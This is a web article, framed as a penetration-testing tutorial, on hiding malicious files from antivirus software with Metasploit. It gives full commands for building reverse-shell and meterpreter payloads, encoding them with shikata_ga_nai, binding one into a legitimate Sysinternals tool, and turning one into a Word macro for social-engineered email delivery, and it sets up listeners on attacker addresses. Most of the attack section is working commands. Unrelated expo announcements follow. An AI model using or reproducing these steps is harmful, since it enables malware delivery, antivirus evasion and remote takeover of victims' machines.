Welcome!

Cloud Security Authors: Harry Trott, Kevin Jackson, Elizabeth White, Nishanth Kadiyala, Stackify Blog

Related Topics: Cloud Security, Microservices Expo, Machine Learning , Apache

Cloud Security: Article

Performing a Penetration Test on a Customer’s Network

How to Hide a Malicious File from Virus Scanners

When performing a penetration test on a customer’s network by simulating an attack and trying to find a way inside many forget there is an easier way. Many networks have well established security protection through firewalls, Intrusion Detections/ Protections Systems that will alert to your presents. Performing a vulnerability scan using tools such as NeXpose, Nessus, nmap, etc will alert many systems. By performing some research on the target and learn what the company does you can narrow your attack. By using some social engineering you can email your payload to an inspecting victim at the company that will allow you to establish a foothold thereby allowing you to further exploit their network. This can be accomplished by using the Metasploit binary payloads with Shikata-ga_nai encoding scheme.

Metasploit Antivirus Bypass
When making plans to email or deliver your payload make sure it can evade detection by antivirus software. If your target gets alerted that something is not quite right then your payload will be compromised and not be delivered. Most antivirus software vendors use a signature base to identify types of malicious code. The antivirus software engine that runs on the client machine has this signature loaded and will be alerted when it finds a match such as quarantine the binary or kill the running process.

To avoid antivirus you can devise different payloads to run on systems protected by antivirus software that will not match the available signatures. To create stand-alone binaries use Metasploit msfpayload option and encode it with the msfencode option. Msfpayload allows you to generate shellcode, executables, and more for use outside the framework. To see a list of options use the msfpayload –h at the command line and to see a list of available shellcode to be customized for your specific exploit use the msfpayload -l. Msfencode allows you to help avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. To see a list of options use the msfencode –h at the command line. To view which encoders are available run the msfencode –l command.

# msfpayload –h

Help banner “options”

 

# msfpayload –l

Shows a number of different shell code that are available.

 

# msfencode –h

Help banner “shows available options”

 

# mdsfencode –l

Available encoders

Before we encode our payload to bypass antivirus detections we need to create a stand-alone binary with msfpayload. This requires us to create a simple reverse shell that connects back to us and spawn a command shell. If our target is a windows box then we can narrow down our list of available payloads with msfpayload –l |grep windows command. This will give us a list of payloads that are specific to windows operating systems. We are going to use the windows meterpreter reverse_tcp payload, see Figure #1.

Figure #1 # msfpayload –l grep windows

Now we selected the windows/meterpreter/reverse_tcp which will connect back to the attacker, inject the meterpreter server DLL via the reflective Dll injection payload (highlight in Figure #1). By using the command-line argument “O” with the payload we selected [windows/meterpreter/reverse_tcp], we get all the available configurable options (see Figure #2).

Figure #2 using the ‘O’ command-line argument to view configurable options

We can configure the three options with this payload:

EXITFUNC

Require

Default setting: process

LHOST

Required

The listen address (you)

LPORT

Required

Default setting: 4444

 

Now we need to create the executable with the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 X /root/Desktop/evi1.exe

All that’s left is to deliver the executable to our victim, which requires some skill in itself to not be caught.

In order for us to take advantage of the victim running our executable we need to have a listener running on our attack machine. This is done with the msfcli which provides a powerful command-line interface to the framework. To view further options with the command use msfcli –h for a list. To listen for our victim running our executable use the following command within msfcli # msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 E

This will open up a listener on our machine over port 4444 and once our victim runs the executable we will have a meterpreter shell on the windows box, see Figure #3.

Figure #3 msfcli multi/handler options (above) & executing the listener (below)

Now we see how metasploit can deliver us a shell on a victim windows box, let’s try and avoid anti-virus with using the msfencode options. First lets go ahead and upload our the results from our previous example to virus total and see how many anti-virus vendors hit on our exploit (see Figure #3). There are many vendors that have hit on our exploit. Now we will use msfencode to try and get past our anti-virus vendors. This is done using raw output of msfpayload and pipe that as input to msfencode using the “shikata ga nai” encoder which translated means “nothing can be done” in Japanese, then it will output as a windows binary.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t exe > /root/Desktop/evil.exe

This is using the msfpayload of ‘windows/shell_reverse_tcp’ and giving our ip address and port that we will be listening on and encoding with shikata_ga_nai. We can upload this executable to virus total and see how many anti-virus vendors hit on this (see Figure #4).

Figure #4 27 hits by anti-virus vendors

The results are not good and we have many hits by various anti-virus vendors, so the likelihood that our victim will not be alerted by anti-virus is slim to none. Let’s try another way. Some anti-virus vendors work on signature-based technology and our payload ‘shell_reverse_tcp’ shows up right away. We will use the msfpayload ‘windows/shell/reverse_tcp’ instead of ‘windows/shell_reverse_tcp’ and try and get by some of the AV vendors. (See Figure #4)

# msfpayload windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –t exe –x /root/Desktop/pslist.exe –o /root/Desktop/pslist2.exe –e x86/shikata_ga_nai –c 10

 

Now this time with the msfencode we took an executable from the sysinternals site called pslist.exe and encoded 10 times with ‘shikata_ga_nai’. Now our payload is combined with the sysinternal tool pslist.exe and renamed pslist2.exe. Now when we upload this to virus total we have only improved our hits from 22 vendors recording our exploit to 21, an improvement but not much better (see Figure #5).

Figure #5 From 22 vendors showing finding it to 21 vendors

 

Symantec anti-virus was not alerted on both of our previous tries, a vendor that is used to protect the DoD environment. If we were able to get through our victims various layers of security and someone from the company happened to open our executable we need to have our listener running. Now let’s run our msfcli command to listen for our incoming connection.

# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 E (See Figure #6)

Figure #6 msfcli listening for a connection from our victim

Once our victim opens our executable we have a shell on our linux box with admin privileges on their windows box. The result will look similar to Figure #9.

VBScript Infection
Now trying to get a target to run your executable is very hard as many email servers will strip out executables. There is another way to deliver our payload by including it in a word document. Word documents are very commonly moved around by email and opened by many people. This would be a great attack vector to take advantage of. Metasploit has some built in methods to infect Word documents with malicious Metasploit payloads like the ones created above. We just need to incorporate them into our Word document. For us to complete this task we need to create a VBScript payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 ENCODING=shikata_ga_nai X > evi1payload.exe

Now we need to convert this executable to a VBScript using a script found in the tools section of metasploit. Just copy our evi1payload.exe to the tools folder.

# cp /opt/framework3/msf3/evilpayload.exe /opt/framework3/msf3/tools

 

Inside the tools folder you will find a script called ‘exe2vba.rb’ and just issue the following command to convert our exe to a vbs.

# ruby exe2vba.rb evilpayload.exe evi1_payload.vbs

Now copy our evil_payload.vbs to a Windows machine that has Microsoft Word installed. Open up your evil_payload.vbs with notepad and open up a blank Microsoft Word document. In Microsoft Word go to tools, Macros, Visual Basic Editor for Microsoft Word 2003 or go to View Macros if you are using Microsoft Word 2010. Then copy the first portion of the evil_payload.vbs, from ‘Sub Auto_Open()’ to ‘End Sub’ and paste that into the Visual Basic Editor inside either Microsoft Word 2003 or 2007 (see Figure #7).

Figure #7 First portion of evi1_payload.vbs in Visual Basic Editor

Then copy the portion from ‘PAYLOAD DATA’ to the end into the body of the word document.

To verify that this word document can get past anti-virus vendor lets upload to Virus Total https://www.virustotal.com/index.html and see if it catches anything (see Figure #8).

Figure 8 Virus Total comes back with no hits.

It got completely by all anti-virus vendors. The only hard part will be getting the victim to open up the document. This can be accomplished several ways and I have written an article ‘Recon Tools’ in Admin issue #5 page 10 that goes into better detail about acquiring target information. Once you have delivered the Word document to your intended victim make sure you have the metasploit client listener up and running on your attack machine.

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 E

(see Figure #9)

Figure #9 msfcli listener followed by the meterpreter shell

This is what the victim will see when they open the word document (see Figure #10).

Figure #10 What the victim will see once they open the Word document

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
The current age of digital transformation means that IT organizations must adapt their toolset to cover all digital experiences, beyond just the end users’. Today’s businesses can no longer focus solely on the digital interactions they manage with employees or customers; they must now contend with non-traditional factors. Whether it's the power of brand to make or break a company, the need to monitor across all locations 24/7, or the ability to proactively resolve issues, companies must adapt to...
SYS-CON Events announced today that Datanami has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Datanami is a communication channel dedicated to providing insight, analysis and up-to-the-minute information about emerging trends and solutions in Big Data. The publication sheds light on all cutting-edge technologies including networking, storage and applications, and the...
SYS-CON Events announced today that EnterpriseTech has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. EnterpriseTech is a professional resource for news and intelligence covering the migration of high-end technologies into the enterprise and business-IT industry, with a special focus on high-tech solutions in new product development, workload management, increased effi...
SYS-CON Events announced today that MobiDev, a client-oriented software development company, will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. MobiDev is a software company that develops and delivers turn-key mobile apps, websites, web services, and complex software systems for startups and enterprises. Since 2009 it has grown from a small group of passionate engineers and business...
SYS-CON Events announced today that GrapeUp, the leading provider of rapid product development at the speed of business, will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Grape Up is a software company, specialized in cloud native application development and professional services related to Cloud Foundry PaaS. With five expert teams that operate in various sectors of the market acr...
SYS-CON Events announced today that Ayehu will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on October 31 - November 2, 2017 at the Santa Clara Convention Center in Santa Clara California. Ayehu provides IT Process Automation & Orchestration solutions for IT and Security professionals to identify and resolve critical incidents and enable rapid containment, eradication, and recovery from cyber security breaches. Ayehu provides customers greater control over IT infras...
Artificial intelligence, machine learning, neural networks. We’re in the midst of a wave of excitement around AI such as hasn’t been seen for a few decades. But those previous periods of inflated expectations led to troughs of disappointment. Will this time be different? Most likely. Applications of AI such as predictive analytics are already decreasing costs and improving reliability of industrial machinery. Furthermore, the funding and research going into AI now comes from a wide range of com...
In this presentation, Striim CTO and founder Steve Wilkes will discuss practical strategies for counteracting fraud and cyberattacks by leveraging real-time streaming analytics. In his session at @ThingsExpo, Steve Wilkes, Founder and Chief Technology Officer at Striim, will provide a detailed look into leveraging streaming data management to correlate events in real time, and identify potential breaches across IoT and non-IoT systems throughout the enterprise. Strategies for processing massive ...
SYS-CON Events announced today that Conference Guru has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. A valuable conference experience generates new contacts, sales leads, potential strategic partners and potential investors; helps gather competitive intelligence and even provides inspiration for new products and services. Conference Guru works with conference organi...
SYS-CON Events announced today that Cloud Academy named "Bronze Sponsor" of 21st International Cloud Expo which will take place October 31 - November 2, 2017 at the Santa Clara Convention Center in Santa Clara, CA. Cloud Academy is the industry’s most innovative, vendor-neutral cloud technology training platform. Cloud Academy provides continuous learning solutions for individuals and enterprise teams for Amazon Web Services, Microsoft Azure, Google Cloud Platform, and the most popular cloud com...
SYS-CON Events announced today that CA Technologies has been named "Platinum Sponsor" of SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business - from apparel to energy - is being rewritten by software. From planning to development to management to security, CA creates software that fuels transformation for companies in the applic...
SYS-CON Events announced today that TMC has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo and Big Data at Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Global buyers rely on TMC’s content-driven marketplaces to make purchase decisions and navigate markets. Learn how we can help you reach your marketing goals.
Internet of @ThingsExpo, taking place October 31 - November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 21st Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world. The Internet of Things (IoT) is the most profound change in personal and enterprise IT since the creation of the Worldwide Web more than 20 years ago. All major researchers estimate there will be tens of billions devic...
"MobiDev is a Ukraine-based software development company. We do mobile development, and we're specialists in that. But we do full stack software development for entrepreneurs, for emerging companies, and for enterprise ventures," explained Alan Winters, U.S. Head of Business Development at MobiDev, in this SYS-CON.tv interview at 20th Cloud Expo, held June 6-8, 2017, at the Javits Center in New York City, NY.
SYS-CON Events announced today that Telecom Reseller has been named “Media Sponsor” of SYS-CON's 21st International Cloud Expo, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Telecom Reseller reports on Unified Communications, UCaaS, BPaaS for enterprise and SMBs. They report extensively on both customer premises based solutions such as IP-PBX as well as cloud based and hosted platforms.
We build IoT infrastructure products - when you have to integrate different devices, different systems and cloud you have to build an application to do that but we eliminate the need to build an application. Our products can integrate any device, any system, any cloud regardless of protocol," explained Peter Jung, Chief Product Officer at Pulzze Systems, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA
SYS-CON Events announced today that IBM has been named “Diamond Sponsor” of SYS-CON's 21st Cloud Expo, which will take place on October 31 through November 2nd 2017 at the Santa Clara Convention Center in Santa Clara, California.
Multiple data types are pouring into IoT deployments. Data is coming in small packages as well as enormous files and data streams of many sizes. Widespread use of mobile devices adds to the total. In this power panel at @ThingsExpo, moderated by Conference Chair Roger Strukhoff, panelists looked at the tools and environments that are being put to use in IoT deployments, as well as the team skills a modern enterprise IT shop needs to keep things running, get a handle on all this data, and deliver...
The current age of digital transformation means that IT organizations must adapt their toolset to cover all digital experiences, beyond just the end users’. Today’s businesses can no longer focus solely on the digital interactions they manage with employees or customers; they must now contend with non-traditional factors. Whether it's the power of brand to make or break a company, the need to monitor across all locations 24/7, or the ability to proactively resolve issues, companies must adapt to...
SYS-CON Events announced today that Enzu will exhibit at SYS-CON's 21st Int\ernational Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Enzu’s mission is to be the leading provider of enterprise cloud solutions worldwide. Enzu enables online businesses to use its IT infrastructure to their competitive advantage. By offering a suite of proven hosting and management services, Enzu wants companies to focus on the core of their ...